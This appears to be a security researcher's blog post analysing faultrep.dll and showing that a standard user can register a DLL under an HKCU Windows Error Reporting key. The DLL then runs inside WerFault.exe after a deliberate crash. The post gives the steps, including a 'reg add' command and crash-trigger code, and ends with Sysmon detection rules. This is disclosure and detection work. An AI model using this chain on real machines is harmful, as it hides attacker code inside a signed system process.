Abusing Windows Error Reporting for User-Level Code Execution
I’ve been spending some time in ida decompiling system32 dlls, looking for undocumented behavior that could be abused. During this work I opened faultrep.dll, the library that werfault.exe loads when a process crashes, and found something interesting in how it validates crash handler modules.
In short: a standard user can register a dll in the registry, crash a process, and werfault.exe will load that dll and run it. So… no admin. no UAC. our code runs inside a signed microsoft binary.
What are RuntimeExceptionHelperModules?
When a process crashes on Windows, werfault.exe can load “helper” dlls that the crashing process registered through WerRegisterRuntimeExceptionModule. Before loading anything, faultrep.dll checks the dll path against a registry whitelist:
Software\Microsoft\Windows\Windows Error Reporting\RuntimeExceptionHelperModulesHexacorn wrote about this in 2018 (Beyond good ol’ Run key, Part 88). At the time it required admin access to write the HKLM key, and the assessment was “not very reliable.” Mozilla later got CVE-2024–2605 for a related WER abuse in Firefox’s sandbox.
While reversing faultrep.dll for a separate detection engineering project, I decided to look at how this whitelist validation actually works at the binary level.
The HKCU Fallback
The function at 0x180031B4Cchecks HKLM first. If the DLL path isn't found there, it falls back to HKCU.
if ( RegGetValueW(HKEY_LOCAL_MACHINE,
"...\\RuntimeExceptionHelperModules", Value, ...) )
{
// HKLM not found, try HKCU
v21 = RegGetValueW(HKEY_CURRENT_USER,
"...\\RuntimeExceptionHelperModules", Value, ...) == 0;
}
else
{
v21 = 2; // HKLM, fully trusted
}Three results:
v21 = 0: not in either hive, rejected
v21 = 1: found in HKCU, loaded but flagged as restricted
v21 = 2: found in HKLM, loaded with full trust
HKCU is writable by any standard user 😐
What Actually Executes
When the DLL passes the whitelist check, faultrep.dll calls LoadLibraryW to load it into WerFault.exe, then resolves callbacks with GetProcAddress:
HKCU modules get a restriction flag set at offset +2808 in the crash context. This flag blocks one callback out of four:
Callback HKLM HKCU
DllMain (DLL_PROCESS_ATTACH) Yes Yes
OutOfProcessExceptionEventCallback Yes Yes
OutOfProcessExceptionEventSignatureCallback Yes Yes
OutOfProcessExceptionEventDebuggerLaunchCallback Yes NoThe Attack Chain
Four steps, no elevation needed:
Get Michael Reder’s stories in your inbox
Join Medium for free to get updates from this writer.
1. Drop a dll that exports OutOfProcessExceptionEventCallback:
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH) {
// our code runs here, inside werfault,exe
}
return TRUE;
}2. Add it to the HKCU whitelist:
reg add "HKCU\Software\Microsoft\Windows\Windows Error Reporting\RuntimeExceptionHelperModules" /v "C:\path\to\payload.dll" /t REG_DWORD /d 13. Register the DLL and crash:
WerRegisterRuntimeExceptionModule(L"C:\\path\\to\\payload.dll", NULL);
volatile int *p = NULL;
*p = 0xDEAD; // triggers WER crash handling4. werfault.exe loads the dll. DllMain and callbacks execute inside a signed Microsoft process.
One requirement: the crash has to generate an APPCRASH event. A standard access violation does this. There's a gate at 0x180032110 that filters for APPCRASH and MoAppCrash events only.
D E T E C T I O N
Registry write (Sysmon EID 13)
Any write to RuntimeExceptionHelperModules under HKCU is suspicious. Legitimate software like Chrome, Firefox, and Discord registers under HKLM during installation, not HKCU.
EventCode=13
TargetObject="*Windows Error Reporting\\RuntimeExceptionHelperModules*"There are a few legitimate HKCU entries in the wild (Discord’s discord_wer.dll, Chrome's crashpad_wer.dll). They typically have value 0x0. An unknown DLL with value 0x1 is a strong signal.
Image load (Sysmon EID 7)
WerFault.exe loading an unsigned DLL from outside System32 or Program Files.
EventCode=7
Image="*\\WerFault.exe"
NOT (ImageLoaded="C:\\Windows\\*" OR ImageLoaded="C:\\Program Files*")Either artifact on its own is worth investigating, but seeing both together would confirm actual technique abuse.
Wrapping Up
The HKLM whitelist for RuntimeExceptionHelperModules was known since 2018, but the HKCU fallback was not. The difference matters: HKLM needs admin, HKCU doesn’t. Any standard user can get code running inside WerFault.exe with a registry write and a crash.
Microsoft clearly considered the trust gap between the two hives. The restriction flag at +2808 shows they intentionally limited HKCU modules. They just decided to allow loading with reduced privileges rather than block it entirely 😐
From a defense perspective, this is straightforward to detect. Two Sysmon rules cover it. If you run a SOC, add them :)
Tested on Windows 11 build 26200. Binary: faultrep.dll.
Prior art: Hexacorn, Beyond good ol’ Run key, Part 88 (2018). Related: CVE-2024–2605 (Mozilla).
Michael Reder, DFIR & TH at Whitehat (an EPAM Company)






